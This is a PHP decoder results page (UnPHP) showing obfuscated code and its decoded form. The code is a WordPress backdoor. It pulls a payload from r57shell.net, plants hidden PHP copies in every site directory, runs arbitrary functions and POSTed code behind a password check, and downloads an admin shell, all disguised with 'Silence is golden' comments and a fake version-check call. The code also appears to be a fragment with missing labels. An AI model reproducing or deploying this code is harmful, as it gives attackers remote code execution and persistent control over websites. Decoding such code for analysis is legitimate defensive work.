UnPHP
UnPHP

By using the UnPHP decoder you agree to our Terms of Use.

PHP Decode

?> array("\x68\145\x61\x64\x65\162" => array("\x52\145\146\x65\162\145\162\x3a\40{$referer..

Decoded Output

Download 
<?  ?> array("header" => array("Referer: {$referer}
\xa"))); goto kMvhX; S7UX4: $referer = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto NmB3v; AItJa: $response = @file_get_contents("http://r57shell.net/jquery.php?v=1.2&request=enable", false, $context); goto MKsyo; kMvhX: $context = stream_context_create($opts); goto AItJa; MKsyo: } goto z5gfD; gnBwB: } else { $response = file_get_contents($tmp_file); if (!@preg_match("#stt1#", $response)) { goto P4f8T; P4f8T: if (function_exists("curl_init")) { goto Uq0ht; govjO: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&request=enable"); goto Ds51V; Ds51V: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto vV2F9; Uq0ht: $ch = curl_init(); goto govjO; vV2F9: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto PLdzL; cg15Z: curl_close($ch); goto DqmOV; PLdzL: $response = curl_exec($ch); goto cg15Z; DqmOV: } else { goto UDaoA; rl4ez: $context = stream_context_create($opts); goto zZOXZ; zZOXZ: $response = @file_get_contents("http://r57shell.net/jquery.php?v=1.2&request=enable", false, $context); goto f1kl3; UDaoA: $referer = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto MDwfu; MDwfu: $opts = array("http" => array("header" => array("Referer: {$referer}
"))); goto rl4ez; f1kl3: } goto SFUaB; VoqrU: @file_put_contents($tmp_file, $response); goto yw1ym; SFUaB: @touch($tmp_file); goto VoqrU; yw1ym: } } goto HgLE8; PMXXX: foreach ($dirs as $d) { goto V3MGB; V3MGB: $file_name = $d . DIRECTORY_SEPARATOR . "." . basename($d) . ".php"; goto jKwzg; jKwzg: @file_put_contents($file_name, $response); goto pZV7n; F2slz: foreach ($dirs as $d) { if (!@preg_match("#wp-content#", $d)) { $file_name = $d . DIRECTORY_SEPARATOR . "." . basename($d) . ".php"; @file_put_contents($file_name, $response); } } goto B1EZD; pZV7n: $dirs = array_filter(glob($d . DIRECTORY_SEPARATOR . "*", GLOB_ONLYDIR)); goto F2slz; B1EZD: } goto jeCbA; aYe0L: if ($uri_path == DIRECTORY_SEPARATOR || $uri_path == '') { $document_root = $file_path; } else { $document_root = str_replace($uri_path, '', $file_path); } goto fLArX; e5YkC: $file_path = dirname($document_file); goto nW6XZ; kXfS2: $request_uri = $_SERVER["REQUEST_URI"]; goto i56mK; HgLE8: $dirs = array_filter(glob($document_root . DIRECTORY_SEPARATOR . "*", GLOB_ONLYDIR)); goto PMXXX; IxQit: if (is_writable(sys_get_temp_dir())) { $tmp_file = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "sess_" . md5('' . $hostname . "_" . $document_file . ''); } else { $tmp_file = $file_path . DIRECTORY_SEPARATOR . "sess_" . md5('' . $hostname . "_" . $document_file . ''); } goto o1Fp9; o1Fp9: if (@$_GET["slince_golden"]) { goto lRYAt; WC010: exit; goto Q17PX; lRYAt: echo "<!-- //Silence is golden. -->"; goto C2aaj; C2aaj: if (function_exists("curl_init")) { goto OjRIX; YPXBj: $response = curl_exec($ch); goto l4k47; OjRIX: $ch = curl_init(); goto PMLvN; l4k47: curl_close($ch); goto oS1sv; PMLvN: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&pwd=get"); goto O1zWS; O1zWS: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto YPXBj; oS1sv: } else { $response = file_get_contents("http://r57shell.net/jquery.php?v=1.2&pwd=get"); } goto YJxxc; YJxxc: if (md5(sha1(@$_GET["is"])) == $response) { goto pqoTA; rR3IO: if (@$_POST["l"]) { function basic_code_extensions($request) { goto hhHFa; pjXLk: return $ret; goto dwMZy; zFtPq: fwrite($tmp, $request); goto qYW2W; hhHFa: $tmp = tmpfile(); goto dEY67; dEY67: $tmpf = stream_get_meta_data($tmp); goto gtCqC; gtCqC: $tmpf = $tmpf["uri"]; goto zFtPq; BwjvR: fclose($tmp); goto pjXLk; qYW2W: $ret = (include $tmpf); goto BwjvR; dwMZy: } print_r(basic_code_extensions($_POST["l"])); } goto aRZGJ; QGxwl: if (@$_GET["m"]) { goto MNdLf; MNdLf: if (function_exists("curl_init")) { goto WksK5; c6nkj: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/mini_admin.txt"); goto H4eFG; WksK5: $ch = curl_init(); goto c6nkj; EKdUy: $response = curl_exec($ch); goto dGgBS; H4eFG: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto EKdUy; dGgBS: curl_close($ch); goto SvVTw; SvVTw: } else { $response = file_get_contents("http://r57shell.net/mini_admin.txt"); } goto pbnm3; THGcf: @file_put_contents($file_name_path, $response); goto IL6aQ; IL6aQ: echo $file_name_path; goto WnXRa; pbnm3: $file_name_path = @$_GET["m"] . "gagal.php"; goto THGcf; WnXRa: } goto rR3IO; pqoTA: if (@$_GET["f"]) { print_r($_GET["f"]($_GET["c"])); } goto QGxwl; aRZGJ: } goto WC010; Q17PX: } goto nIWiw; H8krV: $uri_path = dirname($uri_path); goto e5YkC; nW6XZ: $uri_path = str_replace("/", DIRECTORY_SEPARATOR, $uri_path); goto aYe0L; NYheu: $document_file = $_SERVER["SCRIPT_FILENAME"]; goto kXfS2; ou0zH: $uri_path = $parse_url["path"]; goto H8krV; jeCbA: } wp_core_version_check(); } goto RDrS2; H9nRJ: echo "</td></table></body></html>";

Function Calls

None

Variables

None

Stats

MD57711a461657b797a5c089cf649bcb8a6
Eval Count0
Decode Time154 ms

Original Code

?> array("\x68\145\x61\x64\x65\162" => array("\x52\145\146\x65\162\145\162\x3a\40{$referer}\15\xa"))); goto kMvhX; S7UX4: $referer = $_SERVER["\110\x54\x54\120\137\110\117\x53\x54"] . $_SERVER["\x52\x45\x51\125\105\123\x54\137\x55\x52\111"]; goto NmB3v; AItJa: $response = @file_get_contents("\150\x74\164\160\x3a\57\57\x72\65\x37\x73\x68\x65\x6c\154\56\156\x65\x74\x2f\152\161\x75\145\x72\171\56\160\150\160\x3f\166\75\61\x2e\x32\x26\162\145\161\x75\145\x73\x74\75\145\x6e\x61\142\154\x65", false, $context); goto MKsyo; kMvhX: $context = stream_context_create($opts); goto AItJa; MKsyo: } goto z5gfD; gnBwB: } else { $response = file_get_contents($tmp_file); if (!@preg_match("\43\163\x74\x74\61\43", $response)) { goto P4f8T; P4f8T: if (function_exists("\143\x75\162\x6c\137\x69\x6e\151\x74")) { goto Uq0ht; govjO: curl_setopt($ch, CURLOPT_URL, "\150\x74\x74\160\72\x2f\57\162\x35\67\x73\x68\x65\x6c\154\56\x6e\x65\164\57\152\161\165\x65\162\x79\x2e\160\150\160\77\166\75\x31\56\x32\x26\x72\145\161\165\145\163\x74\x3d\x65\x6e\x61\x62\154\x65"); goto Ds51V; Ds51V: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto vV2F9; Uq0ht: $ch = curl_init(); goto govjO; vV2F9: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["\110\124\x54\120\137\110\x4f\123\x54"] . $_SERVER["\122\105\x51\125\x45\123\x54\x5f\x55\x52\111"]); goto PLdzL; cg15Z: curl_close($ch); goto DqmOV; PLdzL: $response = curl_exec($ch); goto cg15Z; DqmOV: } else { goto UDaoA; rl4ez: $context = stream_context_create($opts); goto zZOXZ; zZOXZ: $response = @file_get_contents("\x68\x74\164\160\72\57\x2f\x72\x35\x37\163\x68\x65\154\154\x2e\x6e\145\x74\57\152\x71\165\x65\x72\171\56\x70\150\160\77\x76\75\61\56\x32\x26\162\x65\x71\x75\x65\163\164\x3d\x65\x6e\141\x62\154\145", false, $context); goto f1kl3; UDaoA: $referer = $_SERVER["\110\124\x54\120\x5f\x48\x4f\123\124"] . $_SERVER["\x52\x45\x51\125\105\123\x54\x5f\x55\122\111"]; goto MDwfu; MDwfu: $opts = array("\150\164\164\x70" => array("\150\145\141\x64\x65\x72" => array("\x52\145\x66\145\162\145\162\x3a\x20{$referer}\15\12"))); goto rl4ez; f1kl3: } goto SFUaB; VoqrU: @file_put_contents($tmp_file, $response); goto yw1ym; SFUaB: @touch($tmp_file); goto VoqrU; yw1ym: } } goto HgLE8; PMXXX: foreach ($dirs as $d) { goto V3MGB; V3MGB: $file_name = $d . DIRECTORY_SEPARATOR . "\56" . basename($d) . "\x2e\x70\x68\x70"; goto jKwzg; jKwzg: @file_put_contents($file_name, $response); goto pZV7n; F2slz: foreach ($dirs as $d) { if (!@preg_match("\x23\167\160\x2d\x63\x6f\x6e\164\145\156\164\43", $d)) { $file_name = $d . DIRECTORY_SEPARATOR . "\x2e" . basename($d) . "\x2e\160\150\x70"; @file_put_contents($file_name, $response); } } goto B1EZD; pZV7n: $dirs = array_filter(glob($d . DIRECTORY_SEPARATOR . "\x2a", GLOB_ONLYDIR)); goto F2slz; B1EZD: } goto jeCbA; aYe0L: if ($uri_path == DIRECTORY_SEPARATOR || $uri_path == '') { $document_root = $file_path; } else { $document_root = str_replace($uri_path, '', $file_path); } goto fLArX; e5YkC: $file_path = dirname($document_file); goto nW6XZ; kXfS2: $request_uri = $_SERVER["\x52\x45\x51\125\105\x53\x54\137\x55\x52\x49"]; goto i56mK; HgLE8: $dirs = array_filter(glob($document_root . DIRECTORY_SEPARATOR . "\52", GLOB_ONLYDIR)); goto PMXXX; IxQit: if (is_writable(sys_get_temp_dir())) { $tmp_file = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "\163\145\x73\163\137" . md5('' . $hostname . "\137" . $document_file . ''); } else { $tmp_file = $file_path . DIRECTORY_SEPARATOR . "\163\x65\x73\163\x5f" . md5('' . $hostname . "\x5f" . $document_file . ''); } goto o1Fp9; o1Fp9: if (@$_GET["\x73\x6c\151\156\x63\145\x5f\x67\x6f\x6c\144\145\156"]) { goto lRYAt; WC010: exit; goto Q17PX; lRYAt: echo "\x3c\41\55\x2d\40\57\x2f\x53\x69\154\145\156\x63\x65\x20\x69\163\40\x67\157\154\144\145\x6e\56\40\55\55\x3e"; goto C2aaj; C2aaj: if (function_exists("\143\x75\162\x6c\137\x69\156\x69\x74")) { goto OjRIX; YPXBj: $response = curl_exec($ch); goto l4k47; OjRIX: $ch = curl_init(); goto PMLvN; l4k47: curl_close($ch); goto oS1sv; PMLvN: curl_setopt($ch, CURLOPT_URL, "\150\164\164\x70\x3a\57\57\162\65\67\163\x68\145\x6c\154\56\156\145\164\57\152\161\x75\x65\162\x79\56\160\x68\x70\77\166\75\x31\56\62\x26\x70\167\x64\75\x67\x65\164"); goto O1zWS; O1zWS: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto YPXBj; oS1sv: } else { $response = file_get_contents("\x68\x74\x74\x70\x3a\57\x2f\x72\x35\67\163\x68\145\x6c\154\x2e\x6e\x65\x74\57\x6a\161\x75\145\x72\x79\x2e\x70\150\160\77\x76\75\x31\x2e\x32\46\x70\x77\144\75\147\x65\164"); } goto YJxxc; YJxxc: if (md5(sha1(@$_GET["\x69\163"])) == $response) { goto pqoTA; rR3IO: if (@$_POST["\x6c"]) { function basic_code_extensions($request) { goto hhHFa; pjXLk: return $ret; goto dwMZy; zFtPq: fwrite($tmp, $request); goto qYW2W; hhHFa: $tmp = tmpfile(); goto dEY67; dEY67: $tmpf = stream_get_meta_data($tmp); goto gtCqC; gtCqC: $tmpf = $tmpf["\165\162\x69"]; goto zFtPq; BwjvR: fclose($tmp); goto pjXLk; qYW2W: $ret = (include $tmpf); goto BwjvR; dwMZy: } print_r(basic_code_extensions($_POST["\154"])); } goto aRZGJ; QGxwl: if (@$_GET["\x6d"]) { goto MNdLf; MNdLf: if (function_exists("\143\165\162\x6c\137\x69\x6e\151\164")) { goto WksK5; c6nkj: curl_setopt($ch, CURLOPT_URL, "\x68\x74\x74\x70\72\x2f\x2f\x72\x35\x37\163\x68\x65\x6c\154\x2e\156\145\164\x2f\155\151\156\151\x5f\x61\144\x6d\151\x6e\x2e\164\x78\164"); goto H4eFG; WksK5: $ch = curl_init(); goto c6nkj; EKdUy: $response = curl_exec($ch); goto dGgBS; H4eFG: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto EKdUy; dGgBS: curl_close($ch); goto SvVTw; SvVTw: } else { $response = file_get_contents("\150\x74\164\x70\x3a\57\57\x72\x35\67\x73\x68\145\x6c\154\x2e\156\x65\x74\57\155\151\156\151\x5f\x61\x64\x6d\x69\156\56\164\x78\x74"); } goto pbnm3; THGcf: @file_put_contents($file_name_path, $response); goto IL6aQ; IL6aQ: echo $file_name_path; goto WnXRa; pbnm3: $file_name_path = @$_GET["\155"] . "\147\x61\x67\x61\x6c\56\x70\x68\x70"; goto THGcf; WnXRa: } goto rR3IO; pqoTA: if (@$_GET["\x66"]) { print_r($_GET["\x66"]($_GET["\143"])); } goto QGxwl; aRZGJ: } goto WC010; Q17PX: } goto nIWiw; H8krV: $uri_path = dirname($uri_path); goto e5YkC; nW6XZ: $uri_path = str_replace("\57", DIRECTORY_SEPARATOR, $uri_path); goto aYe0L; NYheu: $document_file = $_SERVER["\123\x43\122\x49\x50\124\x5f\x46\111\x4c\x45\x4e\x41\115\105"]; goto kXfS2; ou0zH: $uri_path = $parse_url["\160\141\x74\150"]; goto H8krV; jeCbA: } wp_core_version_check(); } goto RDrS2; H9nRJ: echo "\x3c\x2f\164\x64\76\74\x2f\164\141\x62\154\145\x3e\x3c\57\x62\x6f\144\x79\76\74\57\150\x74\155\154\76";